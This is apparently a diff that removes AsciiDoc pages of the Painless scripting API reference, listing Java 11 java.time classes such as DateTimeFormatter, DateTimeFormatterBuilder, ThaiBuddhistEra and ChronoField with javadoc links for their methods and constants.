-* ThaiBuddhistDate {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistDate.html#minus(java.time.temporal.TemporalAmount)[minus](TemporalAmount)
-* ThaiBuddhistDate {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistDate.html#minus(long,java.time.temporal.TemporalUnit)[minus](long, TemporalUnit)
-* ThaiBuddhistDate {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistDate.html#plus(java.time.temporal.TemporalAmount)[plus](TemporalAmount)
-* ThaiBuddhistDate {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistDate.html#plus(long,java.time.temporal.TemporalUnit)[plus](long, TemporalUnit)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* long {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#toEpochDay()[toEpochDay]()
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#toString()[toString]()
-* ChronoPeriod {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#until(java.time.chrono.ChronoLocalDate)[until](ChronoLocalDate)
-* long {java11-javadoc}/java.base/java/time/temporal/Temporal.html#until(java.time.temporal.Temporal,java.time.temporal.TemporalUnit)[until](Temporal, TemporalUnit)
-* ThaiBuddhistDate {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistDate.html#with(java.time.temporal.TemporalAdjuster)[with](TemporalAdjuster)
-* ThaiBuddhistDate {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistDate.html#with(java.time.temporal.TemporalField,long)[with](TemporalField, long)
-
-
-[[painless-api-reference-shared-ThaiBuddhistEra]]
-==== ThaiBuddhistEra
-* static ThaiBuddhistEra {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistEra.html#BE[BE]
-* static ThaiBuddhistEra {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistEra.html#BEFORE_BE[BEFORE_BE]
-* static ThaiBuddhistEra {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistEra.html#of(int)[of](int)
-* static ThaiBuddhistEra {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistEra.html#valueOf(java.lang.String)[valueOf](null)
-* static ThaiBuddhistEra[] {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistEra.html#values()[values]()
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* int {java11-javadoc}/java.base/java/lang/Enum.html#compareTo(java.lang.Enum)[compareTo](Enum)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* null {java11-javadoc}/java.base/java/time/chrono/Era.html#getDisplayName(java.time.format.TextStyle,java.util.Locale)[getDisplayName](TextStyle, Locale)
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/time/chrono/ThaiBuddhistEra.html#getValue()[getValue]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* null {java11-javadoc}/java.base/java/lang/Enum.html#name()[name]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#ordinal()[ordinal]()
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-shared-java-time-format"]
-=== Shared API for package java.time.format
-See the <<painless-api-reference-shared, Shared API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-shared-DateTimeFormatter]]
-==== DateTimeFormatter
-* static DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#BASIC_ISO_DATE[BASIC_ISO_DATE]
-* static DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#ISO_DATE[ISO_DATE]
-* static DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#ISO_DATE_TIME[ISO_DATE_TIME]
-* static DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#ISO_INSTANT[ISO_INSTANT]
-* static DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#ISO_LOCAL_DATE[ISO_LOCAL_DATE]
-* static DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#ISO_LOCAL_DATE_TIME[ISO_LOCAL_DATE_TIME]
-* static DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#ISO_LOCAL_TIME[ISO_LOCAL_TIME]
-* static DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#ISO_OFFSET_DATE[ISO_OFFSET_DATE]
-* static DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#ISO_OFFSET_DATE_TIME[ISO_OFFSET_DATE_TIME]
-* static DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#ISO_OFFSET_TIME[ISO_OFFSET_TIME]
-* static DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#ISO_ORDINAL_DATE[ISO_ORDINAL_DATE]
-* static DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#ISO_TIME[ISO_TIME]
-* static DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#ISO_WEEK_DATE[ISO_WEEK_DATE]
-* static DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#ISO_ZONED_DATE_TIME[ISO_ZONED_DATE_TIME]
-* static DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#RFC_1123_DATE_TIME[RFC_1123_DATE_TIME]
-* static DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#ofLocalizedDate(java.time.format.FormatStyle)[ofLocalizedDate](FormatStyle)
-* static DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#ofLocalizedDateTime(java.time.format.FormatStyle)[ofLocalizedDateTime](FormatStyle)
-* static DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#ofLocalizedDateTime(java.time.format.FormatStyle,java.time.format.FormatStyle)[ofLocalizedDateTime](FormatStyle, FormatStyle)
-* static DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#ofLocalizedTime(java.time.format.FormatStyle)[ofLocalizedTime](FormatStyle)
-* static DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#ofPattern(java.lang.String)[ofPattern](null)
-* static DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#ofPattern(java.lang.String,java.util.Locale)[ofPattern](null, Locale)
-* static TemporalQuery {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#parsedExcessDays()[parsedExcessDays]()
-* static TemporalQuery {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#parsedLeapSecond()[parsedLeapSecond]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#format(java.time.temporal.TemporalAccessor)[format](TemporalAccessor)
-* void {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#formatTo(java.time.temporal.TemporalAccessor,java.lang.Appendable)[formatTo](TemporalAccessor, Appendable)
-* Chronology {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#getChronology()[getChronology]()
-* DecimalStyle {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#getDecimalStyle()[getDecimalStyle]()
-* Locale {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#getLocale()[getLocale]()
-* Set {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#getResolverFields()[getResolverFields]()
-* ResolverStyle {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#getResolverStyle()[getResolverStyle]()
-* ZoneId {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#getZone()[getZone]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* TemporalAccessor {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#parse(java.lang.CharSequence)[parse](CharSequence)
-* def {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#parse(java.lang.CharSequence,java.time.temporal.TemporalQuery)[parse](CharSequence, TemporalQuery)
-* TemporalAccessor {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#parseBest(java.lang.CharSequence,java.time.temporal.TemporalQuery%5B%5D)[parseBest](CharSequence, TemporalQuery[])
-* TemporalAccessor {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#parseUnresolved(java.lang.CharSequence,java.text.ParsePosition)[parseUnresolved](CharSequence, ParsePosition)
-* Format {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#toFormat()[toFormat]()
-* Format {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#toFormat(java.time.temporal.TemporalQuery)[toFormat](TemporalQuery)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#withChronology(java.time.chrono.Chronology)[withChronology](Chronology)
-* DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#withDecimalStyle(java.time.format.DecimalStyle)[withDecimalStyle](DecimalStyle)
-* DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#withLocale(java.util.Locale)[withLocale](Locale)
-* DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#withResolverFields(java.util.Set)[withResolverFields](Set)
-* DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#withResolverStyle(java.time.format.ResolverStyle)[withResolverStyle](ResolverStyle)
-* DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html#withZone(java.time.ZoneId)[withZone](ZoneId)
-
-
-[[painless-api-reference-shared-DateTimeFormatterBuilder]]
-==== DateTimeFormatterBuilder
-* static null {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#getLocalizedDateTimePattern(java.time.format.FormatStyle,java.time.format.FormatStyle,java.time.chrono.Chronology,java.util.Locale)[getLocalizedDateTimePattern](FormatStyle, FormatStyle, Chronology, Locale)
-* {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#<init>()[DateTimeFormatterBuilder]()
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#append(java.time.format.DateTimeFormatter)[append](DateTimeFormatter)
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendChronologyId()[appendChronologyId]()
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendChronologyText(java.time.format.TextStyle)[appendChronologyText](TextStyle)
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendFraction(java.time.temporal.TemporalField,int,int,boolean)[appendFraction](TemporalField, int, int, boolean)
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendInstant()[appendInstant]()
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendInstant(int)[appendInstant](int)
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendLiteral(java.lang.String)[appendLiteral](null)
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendLocalized(java.time.format.FormatStyle,java.time.format.FormatStyle)[appendLocalized](FormatStyle, FormatStyle)
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendLocalizedOffset(java.time.format.TextStyle)[appendLocalizedOffset](TextStyle)
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendOffset(java.lang.String,java.lang.String)[appendOffset](null, null)
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendOffsetId()[appendOffsetId]()
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendOptional(java.time.format.DateTimeFormatter)[appendOptional](DateTimeFormatter)
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendPattern(java.lang.String)[appendPattern](null)
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendText(java.time.temporal.TemporalField)[appendText](TemporalField)
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendText(java.time.temporal.TemporalField,java.time.format.TextStyle)[appendText](TemporalField, TextStyle)
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendValue(java.time.temporal.TemporalField)[appendValue](TemporalField)
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendValue(java.time.temporal.TemporalField,int)[appendValue](TemporalField, int)
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendValue(java.time.temporal.TemporalField,int,int,java.time.format.SignStyle)[appendValue](TemporalField, int, int, SignStyle)
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendValueReduced(java.time.temporal.TemporalField,int,int,int)[appendValueReduced](TemporalField, int, int, int)
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendZoneId()[appendZoneId]()
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendZoneOrOffsetId()[appendZoneOrOffsetId]()
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendZoneRegionId()[appendZoneRegionId]()
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendZoneText(java.time.format.TextStyle)[appendZoneText](TextStyle)
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#appendZoneText(java.time.format.TextStyle,java.util.Set)[appendZoneText](TextStyle, Set)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#optionalEnd()[optionalEnd]()
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#optionalStart()[optionalStart]()
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#padNext(int)[padNext](int)
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#padNext(int,char)[padNext](int, char)
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#parseCaseInsensitive()[parseCaseInsensitive]()
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#parseCaseSensitive()[parseCaseSensitive]()
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#parseDefaulting(java.time.temporal.TemporalField,long)[parseDefaulting](TemporalField, long)
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#parseLenient()[parseLenient]()
-* DateTimeFormatterBuilder {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#parseStrict()[parseStrict]()
-* DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#toFormatter()[toFormatter]()
-* DateTimeFormatter {java11-javadoc}/java.base/java/time/format/DateTimeFormatterBuilder.html#toFormatter(java.util.Locale)[toFormatter](Locale)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-DateTimeParseException]]
-==== DateTimeParseException
-* {java11-javadoc}/java.base/java/time/format/DateTimeParseException.html#<init>(java.lang.String,java.lang.CharSequence,int)[DateTimeParseException](null, CharSequence, int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/time/format/DateTimeParseException.html#getErrorIndex()[getErrorIndex]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* null {java11-javadoc}/java.base/java/time/format/DateTimeParseException.html#getParsedString()[getParsedString]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-DecimalStyle]]
-==== DecimalStyle
-* static DecimalStyle {java11-javadoc}/java.base/java/time/format/DecimalStyle.html#STANDARD[STANDARD]
-* static Set {java11-javadoc}/java.base/java/time/format/DecimalStyle.html#getAvailableLocales()[getAvailableLocales]()
-* static DecimalStyle {java11-javadoc}/java.base/java/time/format/DecimalStyle.html#of(java.util.Locale)[of](Locale)
-* static DecimalStyle {java11-javadoc}/java.base/java/time/format/DecimalStyle.html#ofDefaultLocale()[ofDefaultLocale]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* char {java11-javadoc}/java.base/java/time/format/DecimalStyle.html#getDecimalSeparator()[getDecimalSeparator]()
-* char {java11-javadoc}/java.base/java/time/format/DecimalStyle.html#getNegativeSign()[getNegativeSign]()
-* char {java11-javadoc}/java.base/java/time/format/DecimalStyle.html#getPositiveSign()[getPositiveSign]()
-* char {java11-javadoc}/java.base/java/time/format/DecimalStyle.html#getZeroDigit()[getZeroDigit]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* DecimalStyle {java11-javadoc}/java.base/java/time/format/DecimalStyle.html#withDecimalSeparator(char)[withDecimalSeparator](char)
-* DecimalStyle {java11-javadoc}/java.base/java/time/format/DecimalStyle.html#withNegativeSign(char)[withNegativeSign](char)
-* DecimalStyle {java11-javadoc}/java.base/java/time/format/DecimalStyle.html#withPositiveSign(char)[withPositiveSign](char)
-* DecimalStyle {java11-javadoc}/java.base/java/time/format/DecimalStyle.html#withZeroDigit(char)[withZeroDigit](char)
-
-
-[[painless-api-reference-shared-FormatStyle]]
-==== FormatStyle
-* static FormatStyle {java11-javadoc}/java.base/java/time/format/FormatStyle.html#FULL[FULL]
-* static FormatStyle {java11-javadoc}/java.base/java/time/format/FormatStyle.html#LONG[LONG]
-* static FormatStyle {java11-javadoc}/java.base/java/time/format/FormatStyle.html#MEDIUM[MEDIUM]
-* static FormatStyle {java11-javadoc}/java.base/java/time/format/FormatStyle.html#SHORT[SHORT]
-* static FormatStyle {java11-javadoc}/java.base/java/time/format/FormatStyle.html#valueOf(java.lang.String)[valueOf](null)
-* static FormatStyle[] {java11-javadoc}/java.base/java/time/format/FormatStyle.html#values()[values]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#compareTo(java.lang.Enum)[compareTo](Enum)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Enum.html#name()[name]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#ordinal()[ordinal]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ResolverStyle]]
-==== ResolverStyle
-* static ResolverStyle {java11-javadoc}/java.base/java/time/format/ResolverStyle.html#LENIENT[LENIENT]
-* static ResolverStyle {java11-javadoc}/java.base/java/time/format/ResolverStyle.html#SMART[SMART]
-* static ResolverStyle {java11-javadoc}/java.base/java/time/format/ResolverStyle.html#STRICT[STRICT]
-* static ResolverStyle {java11-javadoc}/java.base/java/time/format/ResolverStyle.html#valueOf(java.lang.String)[valueOf](null)
-* static ResolverStyle[] {java11-javadoc}/java.base/java/time/format/ResolverStyle.html#values()[values]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#compareTo(java.lang.Enum)[compareTo](Enum)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Enum.html#name()[name]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#ordinal()[ordinal]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-SignStyle]]
-==== SignStyle
-* static SignStyle {java11-javadoc}/java.base/java/time/format/SignStyle.html#ALWAYS[ALWAYS]
-* static SignStyle {java11-javadoc}/java.base/java/time/format/SignStyle.html#EXCEEDS_PAD[EXCEEDS_PAD]
-* static SignStyle {java11-javadoc}/java.base/java/time/format/SignStyle.html#NEVER[NEVER]
-* static SignStyle {java11-javadoc}/java.base/java/time/format/SignStyle.html#NORMAL[NORMAL]
-* static SignStyle {java11-javadoc}/java.base/java/time/format/SignStyle.html#NOT_NEGATIVE[NOT_NEGATIVE]
-* static SignStyle {java11-javadoc}/java.base/java/time/format/SignStyle.html#valueOf(java.lang.String)[valueOf](null)
-* static SignStyle[] {java11-javadoc}/java.base/java/time/format/SignStyle.html#values()[values]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#compareTo(java.lang.Enum)[compareTo](Enum)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Enum.html#name()[name]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#ordinal()[ordinal]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-TextStyle]]
-==== TextStyle
-* static TextStyle {java11-javadoc}/java.base/java/time/format/TextStyle.html#FULL[FULL]
-* static TextStyle {java11-javadoc}/java.base/java/time/format/TextStyle.html#FULL_STANDALONE[FULL_STANDALONE]
-* static TextStyle {java11-javadoc}/java.base/java/time/format/TextStyle.html#NARROW[NARROW]
-* static TextStyle {java11-javadoc}/java.base/java/time/format/TextStyle.html#NARROW_STANDALONE[NARROW_STANDALONE]
-* static TextStyle {java11-javadoc}/java.base/java/time/format/TextStyle.html#SHORT[SHORT]
-* static TextStyle {java11-javadoc}/java.base/java/time/format/TextStyle.html#SHORT_STANDALONE[SHORT_STANDALONE]
-* static TextStyle {java11-javadoc}/java.base/java/time/format/TextStyle.html#valueOf(java.lang.String)[valueOf](null)
-* static TextStyle[] {java11-javadoc}/java.base/java/time/format/TextStyle.html#values()[values]()
-* TextStyle {java11-javadoc}/java.base/java/time/format/TextStyle.html#asNormal()[asNormal]()
-* TextStyle {java11-javadoc}/java.base/java/time/format/TextStyle.html#asStandalone()[asStandalone]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#compareTo(java.lang.Enum)[compareTo](Enum)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/format/TextStyle.html#isStandalone()[isStandalone]()
-* null {java11-javadoc}/java.base/java/lang/Enum.html#name()[name]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#ordinal()[ordinal]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-shared-java-time-temporal"]
-=== Shared API for package java.time.temporal
-See the <<painless-api-reference-shared, Shared API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-shared-ChronoField]]
-==== ChronoField
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#ALIGNED_DAY_OF_WEEK_IN_MONTH[ALIGNED_DAY_OF_WEEK_IN_MONTH]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#ALIGNED_DAY_OF_WEEK_IN_YEAR[ALIGNED_DAY_OF_WEEK_IN_YEAR]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#ALIGNED_WEEK_OF_MONTH[ALIGNED_WEEK_OF_MONTH]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#ALIGNED_WEEK_OF_YEAR[ALIGNED_WEEK_OF_YEAR]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#AMPM_OF_DAY[AMPM_OF_DAY]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#CLOCK_HOUR_OF_AMPM[CLOCK_HOUR_OF_AMPM]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#CLOCK_HOUR_OF_DAY[CLOCK_HOUR_OF_DAY]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#DAY_OF_MONTH[DAY_OF_MONTH]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#DAY_OF_WEEK[DAY_OF_WEEK]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#DAY_OF_YEAR[DAY_OF_YEAR]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#EPOCH_DAY[EPOCH_DAY]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#ERA[ERA]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#HOUR_OF_AMPM[HOUR_OF_AMPM]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#HOUR_OF_DAY[HOUR_OF_DAY]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#INSTANT_SECONDS[INSTANT_SECONDS]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#MICRO_OF_DAY[MICRO_OF_DAY]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#MICRO_OF_SECOND[MICRO_OF_SECOND]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#MILLI_OF_DAY[MILLI_OF_DAY]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#MILLI_OF_SECOND[MILLI_OF_SECOND]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#MINUTE_OF_DAY[MINUTE_OF_DAY]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#MINUTE_OF_HOUR[MINUTE_OF_HOUR]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#MONTH_OF_YEAR[MONTH_OF_YEAR]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#NANO_OF_DAY[NANO_OF_DAY]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#NANO_OF_SECOND[NANO_OF_SECOND]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#OFFSET_SECONDS[OFFSET_SECONDS]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#PROLEPTIC_MONTH[PROLEPTIC_MONTH]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#SECOND_OF_DAY[SECOND_OF_DAY]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#SECOND_OF_MINUTE[SECOND_OF_MINUTE]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#YEAR[YEAR]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#YEAR_OF_ERA[YEAR_OF_ERA]
-* static ChronoField {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#valueOf(java.lang.String)[valueOf](null)
-* static ChronoField[] {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#values()[values]()
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#adjustInto(java.time.temporal.Temporal,long)[adjustInto](Temporal, long)
-* int {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#checkValidIntValue(long)[checkValidIntValue](long)
-* long {java11-javadoc}/java.base/java/time/temporal/ChronoField.html#checkValidValue(long)[checkValidValue](long)
